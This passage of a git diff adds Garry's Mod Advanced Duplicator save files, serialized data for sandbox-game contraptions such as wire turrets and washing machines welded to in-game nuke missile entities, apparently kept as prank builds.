r"=N:255;}47C43298{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}31BFD8B8{Y:2=A:89.7601,-113.758,214.962;Y:3=V:-8.68066,-2.7373,3874.96;Y:4=B:f;}2EE391A8{Y:18=T:2E7CF580;Y:19=N:0;Y:20=N:0;}311C7A10{Y:61=N:999;Y:18=T:348EF9A8;Y:62=N:5.0500001907349;Y:63=N:999;Y:26=Y:64;}34788CE0{Y:18=T:3189A008;Y:19=N:0;Y:20=N:0;}33250298{Y:2=A:90,-150.698,180;Y:3=V:-9.77905,8.46484,3895.37;Y:4=B:f;}3348B318{Y:22=T:3221F828;S:"Src"=N:49;Y:23=S:"Out";Y:24=V:-1.46826,3.98755,3.70447;Y:18=T:345CD6E0;Y:26=Y:25;Y:27=V:-1.66992,-2.8916,1.16028;Y:28=N:0;}34882970{Y:18=T:347C2678;Y:19=N:0;Y:20=N:0;}47C3C278{Y:2=A:-0.0732618,-160.085,359.822;Y:3=V:-35.3108,-17.2246,3781.28;Y:4=B:f;}336F26F8{Y:18=T:323A48C8;Y:19=N:0;Y:20=N:0;}348D6A18{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}3365C2D8{N:0=T:333C2C70;}34B07D28{Y:18=T:348D6A18;Y:19=N:0;Y:20=N:0;}48119090{Y:2=A:89.8574,93.104,-161.399;Y:3=V:-19.5654,-2.05322,2.39294;Y:14=N:0;Y:5=T:34C0C110;Y:10=Y:41;Y:16=Y:51;}2EAEEB80{N:0=T:3486D738;}318B98A8{Y:21=T:32789058;}32F32E70{;}32BD3908{Y:2=A:89.6674,147.044,117.985;Y:3=V:-9.32593,7.97559,3885.7;Y:4=B:f;}1F135540{Y:2=A:89.8692,-150.497,99.6401;Y:3=V:-10.5454,-25.6753,3807.34;Y:4=B:f;}32C58238{Y:5=T:33860768;Y:35=S:"=";Y:10=Y:36;Y:6=B:t;Y:14=N:0;Y:3=V:-9.77905,8.46484,3895.37;Y:16=Y:37;Y:38=B:f;Y:32=T:34C11D48;Y:2=A:90,-150.698,180;}32D095E8{Y:2=A:90,-150.698,180;Y:3=V:-4.97461,-9.48877,3875.03;Y:4=B:f;}47C4B210{N:0=T:1F135540;}34895598{N:0=T:31BFD8B8;}2EF2C468{Y:30=T:322A8950;}328C0760{Y:22=T:32680E18;S:"Src"=N:55;Y:23=S:"Out";Y:24=V:-1.86963,2.06811,1.16016;Y:18=T:3496F438;Y:26=Y:25;Y:27=V:2.58887,-2.06934,1.15979;Y:28=N:0;}1EE20690{S:"2";S:"1";}3467FE10{Y:21=T:3327EF10;}32D06360{Y:22=T:32FF9360;S:"Src"=N:59;Y:23=S:"Out";Y:24=V:0.6,-0.98,1.16;Y:18=T:34A67EF0;Y:26=Y:56;Y:27=V:-0.21,0.56,1.16;Y:28=N:0.5;}34A42E28{;}31D886C8{Y:16=Y:52;Y:2=A:0.0047527,-165.14,-0.000183105;Y:3=V:5.1123,-3.74707,3781.12;Y:14=N:0;Y:5=T:329B88E0;Y:10=Y:41;Y:32=T:325A2FD8;}3487EAC0{N:0=T:317D70F0;}2E8DC578{Y:2=A:0.165637,-70.1531,359.976;Y:3=V:-21.1782,9.31689,3781.26;Y:4=B:f;}3186DF88{Y:18=T:326E0D20;Y:19=N:0;Y:20=N:0;}33465768{Y:17=N:20;Y:21=T:32D096C8;Y:31=T:347BAB60;}480DA618{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}34C0C110{N:0=T:48055188;}338A7F00{Y:5=T:31728428;Y:10=Y:57;Y:14=N:0;Y:46=N:0;Y:48=N:1;Y:58=N:0;Y:3=V:-1.45142,-6.21729,3885.18;Y:16=Y:59;Y:50=B:t;Y:32=T:47C445C0;Y:2=A:89.0224,28.538,-1.58362;}336C1F50{Y:16=Y:53;Y:2=A:89.9897,14.8601,180;Y:3=V:3.65796,-3.97949,3763.2;Y:14=N:0;Y:5=T:31824488;Y:10=Y:54;Y:55=N:41;Y:32=T:1F131CE8;}34C34FA0{;}33860768{N:0=T:33250298;}332930D8{;}34C11D48{Y:21=T:321DE490;Y:31=T:31704EE0;}32E402E8{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}3469C858{N:0=T:328868F0;} +Constraints:32F0CCF0{T:34710C80;T:31553240;}3170F348{Y:72=N:39;Y:73=N:0;}32E05358{Y:72=N:36;Y:73=N:0;}31FAF0E8{Y:72=N:57;Y:73=N:0;}337A90E0{T:34607E60;T:32749C98;}31294E88{Y:72=N:60;Y:73=N:0;}2E8994E8{Y:72=N:60;Y:73=N:0;}32001E50{T:1F140C08;T:346652D0;}1EF472D8{Y:72=N:54;Y:73=N:0;}2EAE1998{Y:6=B:t;Y:76=N:0;Y:68=T:34A32BA0;Y:77=B:t;Y:75=Y:78;}345C9930{Y:6=B:t;Y:76=N:0;Y:68=T:336C6F78;Y:77=B:t;Y:75=Y:78;}316A7A88{Y:72=N:60;Y:73=N:0;}32193C48{Y:68=T:32C75268;Y:75=Y:78;Y:76=N:0;}348EFF90{T:32EE0B08;T:347BAC88;}30FAC4E0{T:34AF9560;T:2E199E68;}2EA242F8{Y:72=N:60;Y:73=N:0;}32C75268{T:3272B548;T:2E8994E8;}3318C320{Y:72=N:50;Y:73=N:0;}3496EA38{Y:68=T:47D5A008;Y:75=Y:74;}1F1245D0{Y:6=B:t;Y:76=N:0;Y:68=T:30FAC4E0;Y:77=B:t;Y:75=Y:78;}3182A1C8{Y:6=B:t;Y:76=N:0;Y:68=T:347B0660;Y:77=B:t;Y:75=Y:78;}31092F40{T:32800C88;T:2EA242F8;}345E1BF0{Y:72=N:39;Y:73=N:0;}47D5A008{T:3170F348;T:316A7A88;}31EA0B80{Y:72=N:60;Y:73=N:0;}329B5A18{T:327DBF00;T:47C649D8;}1F3113D0{Y:72=N:38;Y:73=N:0;}33B5E0D0{Y:72=N:60;Y:73=N:0;}47C649D8{Y:72=N:36;Y:73=N:0;}31905178{Y:6=B:t;Y:76=N:0;Y:68=T:348EFF90;Y:77=B:t;Y:75=Y:78;}34B71D78{Y:6=B:t;Y:76=N:0;Y:68=T:2E3F0CF0;Y:77=B:t;Y:75=Y:78;}2E3F0CF0{T:347A58E8;T:34674268;}34AF9560{Y:72=N:56;Y:73=N:0;}47C54D58{Y:68=T:1F54A1A8;Y:75=Y:74;}31553240{Y:72=N:60;Y:73=N:0;}327DBF00{Y:72=N:37;Y:73=N:0;}34826D20{Y:72=N:44;Y:73=N:0;}32025BF8{T:34705DA8;T:34A27638;}47D45BC0{Y:6=B:t;Y:76=N:0;Y:68=T:33631AE8;Y:77=B:t;Y:75=Y:78;}34C264D8{Y:72=N:51;Y:73=N:0;}327DB9C8{Y:72=N:54;Y:73=N:0;}34A32BA0{T:32C40AB8;T:31EA0B80;}2EB22D80{Y:72=N:46;Y:73=N:0;}2DB61948{T:31F73688;T:330A1EB0;}33631AE8{T:31183A00;T:1F3113D0;}336ADBB0{T:2E4F4208;T:32E05358;}1F171AD8{Y:68=T:336ADBB0;Y:75=Y:78;Y:76=N:0;}3467FCE8{T:34C264D8;T:31EAAC90;}330B19A8{Y:72=N:63;Y:73=N:0;}315D63A0{Y:6=B:t;Y:76=N:0;Y:68=T:329B5A18;Y:77=B:t;Y:75=Y:78;}H333711B0{T:3496EA38;T:315D63A0;T:2D86EB00;T:47CF8478;T:47D45BC0;T:1F1245D0;T:34B71D78;T:332250D8;T:3290DFC0;T:2EAE1998;T:32193C48;T:325FA890;T:3484ABD0;T:31F52138;T:34B9EDC0;T:47C54D58;T:31E8FC28;T:3182A1C8;T:31905178;T:334F4CE0;T:48007020;T:33325828;T:2EE2B850;T:345C9930;T:1F171AD8;}2D86EB00{Y:6=B:t;Y:76=N:0;Y:68=T:32F0CCF0;Y:77=B:t;Y:75=Y:78;}4808C008{Y:72=N:36;Y:73=N:0;}347A58E8{Y:72=N:41;Y:73=N:0;}2E4F4208{Y:72=N:38;Y:73=N:0;}32D267E8{Y:72=N:46;Y:73=N:0;}32C40AB8{Y:72=N:53;Y:73=N:0;}1F54A1A8{T:1EF472D8;T:33B5E0D0;}31183A00{Y:72=N:48;Y:73=N:0;}34A27638{Y:72=N:38;Y:73=N:0;}34705DA8{Y:72=N:45;Y:73=N:0;}32EE0B08{Y:72=N:61;Y:73=N:0;}32011E20{Y:72=N:59;Y:73=N:0;}33325828{Y:6=B:t;Y:76=N:0;Y:68=T:2EA5CC58;Y:77=B:t;Y:75=Y:78;}47FF01B8{T:4808C008;T:345E1BF0;}48007020{Y:68=T:47FF01B8;Y:75=Y:78;Y:76=N:0;}32749C98{Y:72=N:46;Y:73=N:0;}3272B548{Y:72=N:54;Y:73=N:0;}34588710{T:330B19A8;T:31294E88;}47CF8478{Y:68=T:3467FCE8;Y:75=Y:78;Y:76=N:0;}34607E60{Y:72=N:39;Y:73=N:0;}31F52138{Y:6=B:t;Y:76=N:0;Y:68=T:31092F40;Y:77=B:t;Y:75=Y:78;}334F4CE0{Y:68=T:337A90E0;Y:75=Y:78;Y:76=N:0;}347BAC88{Y:72=N:60;Y:73=N:0;}2EE2B850{Y:6=B:t;Y:76=N:0;Y:68=T:32025BF8;Y:77=B:t;Y:75=Y:78;}32800C88{Y:72=N:55;Y:73=N:0;}3170B100{T:2E2E59C8;T:32EEFEC0;}347B0660{T:3318C320;T:32369738;}3220C868{Y:72=N:60;Y:73=N:0;}3484ABD0{Y:68=T:31792D88;Y:75=Y:78;Y:76=N:0;}2EA5CC58{T:31FAF0E8;T:327DB9C8;}334017D8{T:32011E20;T:3220C868;}31E8FC28{Y:6=B:t;Y:76=N:0;Y:68=T:334017D8;Y:77=B:t;Y:75=Y:78;}332250D8{Y:68=T:32001E50;Y:75=Y:74;}2E2E59C8{Y:72=N:58;Y:73=N:0;}1F140C08{Y:72=N:60;Y:73=N:0;}325FA890{Y:6=B:t;Y:76=N:0;Y:68=T:34588710;Y:77=B:t;Y:75=Y:78;}331B3818{Y:72=N:38;Y:73=N:0;}34B9EDC0{Y:6=B:t;Y:76=N:0;Y:68=T:2DB61948;Y:77=B:t;Y:75=Y:78;}346652D0{Y:72=N:34;Y:73=N:0;}330A1EB0{Y:72=N:60;Y:73=N:0;}31F73688{Y:72=N:49;Y:73=N:0;}34710C80{Y:72=N:70;Y:73=N:0;}3290DFC0{Y:68=T:3170B100;Y:75=Y:78;Y:76=N:0;}31792D88{T:2EB22D80;T:331B3818;}32369738{Y:72=N:38;Y:73=N:0;}336C6F78{T:34826D20;T:32D267E8;}32EEFEC0{Y:72=N:60;Y:73=N:0;}2E199E68{Y:72=N:60;Y:73=N:0;}34674268{Y:72=N:39;Y:73=N:0;}31EAAC90{Y:72=N:57;Y:73=N:0;} +[Dict] +1:"numbullets" +2:"LocalAngle" +3:"LocalPos" +4:"Frozen" +5:"PhysicsObjects" +6:"nocollide" +7:"Tracer" +8:"tracer" +9:"gmod_wire_turret" +10:"Class" +11:"spread" +12:"sound" +13:"force" +14:"Skin" +15:"models/weapons/w_smg1.mdl" +16:"Model" +17:"CollisionGroupMod" +18:"Color" +19:"RenderMode" +20:"RenderFX" +21:"colour" +22:"Path" +23:"SrcId" +24:"SrcPos" +25:"cable/cable2" +26:"Material" +27:"StartPos" +28:"Width" +29:"Fire" +30:"Wires" +31:"WireDupeInfo" +32:"EntityMods" +33:"delay" +34:"damage" +35:"action" +36:"gmod_wire_gate" +37:"models/jaanus/wiretool/wiretool_gate.mdl" +38:"noclip" +39:"Value2" +40:"models/props_c17/furniturefridge001a.mdl" +41:"prop_physics" +42:"value" +43:"gmod_wire_value" +44:"models/kobilica/value.mdl" +45:"gmod_wire_button" +46:"value_off" +47:"entityout" +48:"value_on" +49:"models/dav0r/buttons/button.mdl" +50:"toggle" +51:"models/props_trainstation/trainstation_clock001.mdl" +52:"models/props_lab/lockerdoorleft.mdl" +53:"models/jaanus/wiretool/wiretool_siren.mdl" +54:"gmod_wire_user" +55:"Range" +56:"arrowire/arrowire2" +57:"gmod_wire_input" +58:"keygroup" +59:"models/jaanus/wiretool/wiretool_input.mdl" +60:"models/weapons/w_missile_closed.mdl" +61:"StartSize" +62:"Length" +63:"EndSize" +64:"trails/lol" +65:"trail" +66:"sent_nuke_missile" +67:"smoother" +68:"Entity" +69:"Value1" +70:"Rate" +71:"models/props_junk/propane_tank001a.mdl" +72:"Index" +73:"Bone" +74:"NoCollide" +75:"Type" +76:"forcelimit" +77:"deleteonbreak" +78:"Weld" +Saved:757 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/tits.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/tits.txt new file mode 100644 index 0000000..3f62eb9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/tits.txt @@ -0,0 +1,52 @@ +[Info] +Type:AdvDupe File +Creator:"nil" +Date:07/03/09 +Description:"none" +Entities:5 +Constraints:10 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.84 +AdvDupeToolVersion:1.813 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:Not Installed +Time:02:00 AM +Head:61 +HoldAngle:0,91.6688,0 +HoldPos:-17.6657,-64.4379,-78.8218 +StartPos:-1054.06,1856.05,-1167.97 +[Save] +Entities:01DEE060{S:"a"=N:255;S:"r"=N:211;S:"g"=N:86;S:"b"=N:24;}01DF09A0{N:0=T:01DEAE00;}01DF7140{Y:2=Y:18;Y:3=A:43.4621,27.9754,120.861;Y:4=V:104.488,-62.6321,650.63;Y:5=N:0;Y:7=T:01DD3720;Y:9=Y:8;Y:17=T:01DE2D80;}01E32520{Y:12=T:01DE8700;Y:16=T:01DE10A0;}01DDAEA0{Y:3=A:0.011978,0.114008,359.959;Y:4=V:17.5538,64.5293,78.772;Y:6=B:t;}01E02F40{Y:16=T:01E19F80;Y:12=T:01DE88A0;}01DDB040{S:"a"=N:255;S:"b"=N:73;S:"g"=N:140;S:"r"=N:242;}H01DE6620{N:85=T:01E0D260;N:84=T:01DF7140;N:61=T:01DD3BA0;N:88=T:01DCC9A0;N:83=T:01DF5300;}01DFA160{Y:3=A:43.4621,27.9754,120.861;Y:4=V:104.488,-62.6321,650.63;Y:6=B:f;}01DCC9A0{Y:2=Y:18;Y:3=A:38.5396,166.995,-118.424;Y:4=V:-40.3372,-77.3873,651.123;Y:5=N:0;Y:7=T:01E7F8E0;Y:9=Y:8;Y:17=T:01E02F40;}01DFF060{S:"a"=N:255;S:"r"=N:211;S:"g"=N:86;S:"b"=N:24;}01E197E0{Y:13=T:01DDB040;Y:14=N:0;Y:15=N:0;}01DD3720{N:0=T:01DFA160;}01DE8700{Y:11=Y:10;}01DDDBE0{Y:11=Y:10;}01DE6060{Y:3=A:38.5396,166.995,241.576;Y:4=V:-40.3372,-77.3873,651.123;Y:6=B:f;}01E7F8E0{N:0=T:01DE6060;}01E190E0{Y:12=T:01DE0060;Y:16=T:01DD8DC0;}01DD3BA0{Y:2=Y:19;Y:3=A:0.011978,0.114008,-0.0409851;Y:4=V:17.5538,64.5293,78.772;Y:5=N:0;Y:7=T:01E00D80;Y:9=Y:8;Y:17=T:01DEE4C0;}01E19F80{Y:13=T:01DFF060;Y:14=N:0;Y:15=N:0;}01DFDEE0{S:"a"=N:255;S:"r"=N:247;S:"g"=N:158;S:"b"=N:79;}01DE0060{Y:11=Y:10;}01DF5300{Y:2=Y:1;Y:3=A:49.5184,33.8837,125.273;Y:4=V:98.3903,9.89441,681.116;Y:5=N:0;Y:7=T:01DF09A0;Y:9=Y:8;Y:17=T:01E190E0;}01E25820{S:"a"=N:255;S:"r"=N:247;S:"g"=N:158;S:"b"=N:79;}01DD8DC0{Y:13=T:01E25820;Y:14=N:0;Y:15=N:0;}01DCA5E0{Y:11=Y:10;}01E0D260{Y:2=Y:1;Y:3=A:43.3959,28.0833,121.06;Y:4=V:-47.968,-4.2605,680.892;Y:5=N:0;Y:7=T:01DFB840;Y:9=Y:8;Y:17=T:01E32520;}01DEAE00{Y:3=A:49.5184,33.8837,125.273;Y:4=V:98.3903,9.89441,681.116;Y:6=B:t;}01E00D80{N:0=T:01DDAEA0;}01DE10A0{Y:13=T:01DFDEE0;Y:14=N:0;Y:15=N:0;}01DE2D80{Y:16=T:01E02D60;Y:12=T:01DDDBE0;}01DEE4C0{Y:16=T:01E197E0;Y:12=T:01DCA5E0;}01DE88A0{Y:11=Y:10;}01DFB840{N:0=T:01DFAF20;}01DFAF20{Y:3=A:43.3959,28.0833,121.06;Y:4=V:-47.968,-4.2605,680.892;Y:6=B:f;}01E02D60{Y:13=T:01DEE060;Y:14=N:0;Y:15=N:0;} +Constraints:01E0EE80{Y:22=T:01E0C800;Y:24=Y:25;Y:26=N:0;}01E19360{Y:22=T:01DFB8E0;Y:24=Y:23;}01DFF760{Y:22=T:01DCA0C0;Y:24=Y:23;}01DE1B40{Y:22=T:01E0C560;Y:24=Y:25;Y:26=N:0;}01E0DBC0{Y:20=N:83;Y:21=N:0;}01DD1F40{Y:20=N:83;Y:21=N:0;}01E0C800{T:01E25C80;T:01E13300;}01E16940{Y:20=N:85;Y:21=N:0;}01E17AE0{Y:20=N:85;Y:21=N:0;}01E1C1C0{Y:20=N:88;Y:21=N:0;}01E0C560{T:01E07860;T:01E0DBC0;}01DF1380{Y:20=N:84;Y:21=N:0;}01E07860{Y:20=N:84;Y:21=N:0;}01DE6A80{Y:20=N:85;Y:21=N:0;}01E06840{T:01DCCF80;T:01E16940;}01E03900{Y:22=T:01E06840;Y:24=Y:23;}01DCC3A0{Y:20=N:85;Y:21=N:0;}01DCB4A0{Y:22=T:01E11E60;Y:24=Y:25;Y:26=N:0;}01E2BA20{Y:22=T:01E103C0;Y:24=Y:23;}01DFB8C0{Y:20=N:84;Y:21=N:0;}01E015E0{T:01DD37A0;T:01DFB8C0;}01E25C80{Y:20=N:88;Y:21=N:0;}01DFBDE0{T:01E275C0;T:01DCC3A0;}01E12280{Y:22=T:01DFBDE0;Y:24=Y:25;Y:26=N:0;}01DF6940{Y:20=N:61;Y:21=N:0;}01E0D700{Y:20=N:61;Y:21=N:0;}01E58880{Y:27=V:-1054.06,1856.05,-1167.97;Y:28=B:t;Y:20=N:0;Y:21=N:0;}H01DF6420{T:01E2BA20;T:01E12280;T:01DFF760;T:01DCB4A0;T:01DE1B40;T:01E19360;T:01DDA040;T:01E03900;T:01E0EE80;T:01E08740;}01DFB8E0{T:01E1C1C0;T:01E17AE0;}01E11E60{T:01DF6940;T:01E58880;}01DCCF80{Y:20=N:83;Y:21=N:0;}01E10480{Y:20=N:83;Y:21=N:0;}01E2C460{T:01DF1380;T:01E10480;}01E08740{Y:22=T:01E2C460;Y:24=Y:23;}01DDA040{Y:22=T:01E015E0;Y:24=Y:25;Y:26=N:0;}01DFEBC0{Y:20=N:61;Y:21=N:0;}01DCA0C0{T:01DD1F40;T:01E0D700;}01E103C0{T:01DE6A80;T:01DFEBC0;}01DD37A0{Y:20=N:88;Y:21=N:0;}01E275C0{Y:20=N:83;Y:21=N:0;}01E13300{Y:20=N:85;Y:21=N:0;} +[Dict] +1:"models/hunter/misc/sphere375x375.mdl" +2:"Model" +3:"LocalAngle" +4:"LocalPos" +5:"Skin" +6:"Frozen" +7:"PhysicsObjects" +8:"prop_physics" +9:"Class" +10:"models/debug/debugwhite" +11:"MaterialOverride" +12:"material" +13:"Color" +14:"RenderMode" +15:"RenderFX" +16:"colour" +17:"EntityMods" +18:"models/hunter/misc/sphere075x075.mdl" +19:"models/props_c17/column02a.mdl" +20:"Index" +21:"Bone" +22:"Entity" +23:"NoCollide" +24:"Type" +25:"Weld" +26:"forcelimit" +27:"LPos" +28:"World" +Saved:144 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/washer1.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/washer1.txt new file mode 100644 index 0000000..767b52c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/washer1.txt @@ -0,0 +1,46 @@ +[Info] +Type:AdvDupe File +Creator:"Some Person" +Date:04/25/10 +Description:"none" +Entities:5 +Constraints:4 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:1910 (exported) +Time:05:44 PM +Head:35 +HoldAngle:0,179.929,0 +HoldPos:-13.7529,-2.78108,-29.0403 +StartPos:-2941.68,1571.92,96.0313 +[Save] +Entities:31D79530{Y:1=A:0.000955575,179.756,169.636;Y:2=V:-44.2759,-10.9348,15.2012;Y:3=B:f;}32546E78{Y:1=A:0.0008614,179.755,165.836;Y:2=V:-44.2786,-11.5551,28.2022;Y:3=B:f;}2D0599D8{Y:4=T:32546E18;Y:1=A:0.0008614,179.755,165.836;Y:2=V:-44.2786,-11.5551,28.2022;Y:6=Y:5;Y:11=T:2D23E7B8;Y:13=Y:12;Y:14=N:0;}1E69A580{N:0=T:327AD490;}H1EB29740{N:37=T:33254710;N:38=T:32B3CA98;N:39=T:328014B0;N:34=T:2D0599D8;N:35=T:31DD6EA8;}2E99F148{Y:17=N:20;}31E06760{N:0=T:31D79530;}32546E18{N:0=T:32546E78;}328014B0{Y:4=T:31E06760;Y:1=A:0.000955575,179.756,169.636;Y:2=V:-44.2759,-10.9348,15.2012;Y:6=Y:5;Y:11=T:1E3CCE58;Y:13=Y:12;Y:14=N:0;}2E8A6840{Y:1=A:0.00101298,179.751,40.1606;Y:2=V:-44.2026,6.11072,15.7224;Y:3=B:f;}33254710{Y:4=T:1E69A580;Y:1=A:-0.000810214,179.753,131.035;Y:2=V:-44.2056,5.44958,28.8641;Y:6=Y:5;Y:11=T:33254770;Y:13=Y:12;Y:14=N:0;}1E69A488{S:"a"=N:0;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}31DD6EA8{Y:6=Y:15;Y:1=A:0.00109822,179.756,-0.0129395;Y:2=V:-13.7651,-2.72913,29.0394;Y:14=N:0;Y:4=T:32B01B90;Y:13=Y:16;Y:11=T:2E99F148;}32967960{S:"a"=N:0;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}32338AF0{Y:7=T:33EDE870;Y:8=N:0;Y:9=N:0;}32967868{Y:7=T:32967960;Y:8=N:0;Y:9=N:0;}2D23E7B8{Y:10=T:32967868;}1ED8F088{Y:1=A:0.00109822,179.756,359.987;Y:2=V:-13.7651,-2.72913,29.0394;Y:3=B:f;}327AD490{Y:1=A:-0.000810214,179.753,131.035;Y:2=V:-44.2056,5.44958,28.8641;Y:3=B:f;}1E3CCE58{Y:10=T:2E87BD38;}32B3CA98{Y:4=T:323CC658;Y:1=A:0.00101298,179.751,40.1606;Y:2=V:-44.2026,6.11072,15.7224;Y:6=Y:5;Y:11=T:32B3CB70;Y:13=Y:12;Y:14=N:0;}33EDE870{S:"a"=N:0;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}2E87BD38{Y:7=T:31F02938;Y:8=N:0;Y:9=N:0;}323CC658{N:0=T:2E8A6840;}32B3CB70{Y:10=T:32338AF0;}33254770{Y:10=T:33EB4AE0;}31F02938{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}32B01B90{N:0=T:1ED8F088;}33EB4AE0{Y:7=T:1E69A488;Y:8=N:0;Y:9=N:0;} +Constraints:2E8A6870{Y:20=T:2E8A68A0;Y:22=Y:21;}325FBBA8{Y:18=N:35;Y:19=N:0;}3243F7A0{Y:18=N:37;Y:19=N:0;}32A70288{Y:18=N:39;Y:19=N:0;}340A1C98{Y:20=T:340A1D90;Y:22=Y:21;}340A1D90{T:3243F7A0;T:1E9FDD98;}1EB17F98{T:1EB18020;T:1EB18050;}32A70258{Y:18=N:35;Y:19=N:0;}H030C3718{T:2E99F230;T:340A1C98;T:2E8A6870;T:323C1830;}2E8A68A0{T:32A70258;T:32A70288;}325FBB78{Y:18=N:38;Y:19=N:0;}1EB18050{Y:18=N:35;Y:19=N:0;}1EB18020{Y:18=N:34;Y:19=N:0;}2E940110{T:325FBB78;T:325FBBA8;}323C1830{Y:20=T:2E940110;Y:22=Y:21;}2E99F230{Y:20=T:1EB17F98;Y:22=Y:21;}1E9FDD98{Y:18=N:35;Y:19=N:0;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Frozen" +4:"PhysicsObjects" +5:"models/weapons/w_missile_closed.mdl" +6:"Model" +7:"Color" +8:"RenderMode" +9:"RenderFX" +10:"colour" +11:"EntityMods" +12:"sent_nuke_missile" +13:"Class" +14:"Skin" +15:"models/props_c17/furniturewashingmachine001a.mdl" +16:"prop_physics" +17:"CollisionGroupMod" +18:"Index" +19:"Bone" +20:"Entity" +21:"NoCollide" +22:"Type" +Saved:83 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/washer2.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/washer2.txt new file mode 100644 index 0000000..422f2ef --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/washer2.txt @@ -0,0 +1,46 @@ +[Info] +Type:AdvDupe File +Creator:"McMuffin" +Date:05/30/10 +Description:"none" +Entities:17 +Constraints:16 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:1910 (exported) +Time:03:27 PM +Head:46 +HoldAngle:0,50.1559,0 +HoldPos:-13.7533,-13.7081,-22.3902 +StartPos:-2612.66,1544.7,96.0313 +[Save] +Entities:45270028{Y:10=T:45270088;}44E9A1C8{N:0=T:3F978740;}02FE8F50{Y:10=T:02FBDD28;}3BE18B90{Y:4=T:3911D898;Y:1=A:-0.0158939,179.295,43.8039;Y:2=V:-20.3286,26.7566,14.7606;Y:6=Y:5;Y:11=T:3A85FE70;Y:13=Y:12;Y:14=N:0;}450E80F0{Y:4=T:40184950;Y:1=A:-0.0158939,-179.113,43.8039;Y:2=V:-18.2566,6.07288,31.2722;Y:6=Y:5;Y:11=T:45005E18;Y:13=Y:12;Y:14=N:0;}415C4D28{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}3C196618{Y:7=T:406716B0;Y:8=N:0;Y:9=N:0;}39C98D88{Y:4=T:393DF420;Y:1=A:-0.000914834,-89.6904,44.9907;Y:2=V:23.3997,-16.8782,25.9188;Y:6=Y:5;Y:11=T:38491D68;Y:13=Y:12;Y:14=N:0;}02FFEC10{Y:17=N:20;}45270088{Y:7=T:45270180;Y:8=N:0;Y:9=N:0;}44AC77D8{Y:4=T:452706E0;Y:1=A:-1.60554e-005,-90.137,44.9985;Y:2=V:6.94043,-19.6874,11.8866;Y:6=Y:5;Y:11=T:45270028;Y:13=Y:12;Y:14=N:0;}02FF2D70{Y:4=T:02FB55B0;Y:1=A:0.00101298,-0.177995,40.1606;Y:2=V:45.5735,5.15918,15.7224;Y:6=Y:5;Y:11=T:02FE8F50;Y:13=Y:12;Y:14=N:0;}455C3C70{Y:4=T:44D41610;Y:1=A:-0.015893,91.2092,43.8039;Y:2=V:22.4658,46.7979,31.3598;Y:6=Y:5;Y:11=T:44F0AD30;Y:13=Y:12;Y:14=N:0;}44F86BD0{Y:10=T:44EF3808;}03000358{Y:10=T:0300CF18;}45378728{Y:7=T:45378758;Y:8=N:0;Y:9=N:0;}44E24E00{Y:4=T:3C152940;Y:1=A:-0.0158936,92.2705,43.8039;Y:2=V:11.0105,46.6788,31.2595;Y:6=Y:5;Y:11=T:44873988;Y:13=Y:12;Y:14=N:0;}38491D68{Y:10=T:39794668;}02FE96A8{S:"a"=N:0;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}44893E48{Y:10=T:3BEFCE60;}42A3F4B0{Y:4=T:45781A58;Y:1=A:-0.0158929,91.9167,43.8039;Y:2=V:12.1216,46.5442,14.7606;Y:6=Y:5;Y:11=T:44F86BD0;Y:13=Y:12;Y:14=N:0;}02F95D00{Y:10=T:02FAAB88;}02F80950{Y:7=T:02FE9B30;Y:8=N:0;Y:9=N:0;}0317A5D0{Y:1=A:1.52482e-006,0.129882,-1.76342e-006;Y:2=V:13.7222,13.7393,22.3902;Y:3=B:f;}03146AF0{Y:1=A:0.000955575,-0.173009,169.636;Y:2=V:45.6255,22.2047,15.2012;Y:3=B:f;}4261D5D0{Y:7=T:4261D368;Y:8=N:0;Y:9=N:0;}43DCAC00{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}3B706D50{Y:7=T:418B6FD8;Y:8=N:0;Y:9=N:0;}43B83A78{Y:4=T:44E9A1C8;Y:1=A:-0.0158939,-178.582,43.8039;Y:2=V:-19.6765,7.09607,14.7606;Y:6=Y:5;Y:11=T:4529E860;Y:13=Y:12;Y:14=N:0;}28E34678{Y:1=A:-0.0158936,92.2705,43.8039;Y:2=V:11.0105,46.6788,31.2595;Y:3=B:f;}0300C068{Y:6=Y:15;Y:1=A:1.52482e-006,0.129882,-1.76342e-006;Y:2=V:13.7222,13.7393,22.3902;Y:14=N:0;Y:4=T:02FFBF10;Y:13=Y:16;Y:11=T:02FFEC10;}45378A88{